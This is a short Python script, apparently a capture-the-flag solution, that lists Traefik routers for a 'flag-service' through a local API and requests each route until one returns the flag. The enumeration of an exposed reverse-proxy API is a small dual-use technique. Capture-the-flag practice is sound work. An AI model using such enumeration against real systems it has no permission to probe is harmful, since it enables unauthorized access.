21 lines
520 B
Python
21 lines
520 B
Python
from urllib import request
|
|
import json
|
|
|
|
# Get traefik routes
|
|
response = request.urlopen('http://localhost:3000/api/http/routers?per_page=1000&page=1&serviceName=flag-service@file')
|
|
data = response.read().decode('utf-8')
|
|
response.close()
|
|
|
|
|
|
for route in json.loads(data):
|
|
try:
|
|
# GET each route
|
|
with request.urlopen(f"http://localhost:3000/{route['name']}") as response:
|
|
data = response.read().decode('utf-8')
|
|
# successful response
|
|
print(data)
|
|
break
|
|
except Exception:
|
|
pass
|
|
|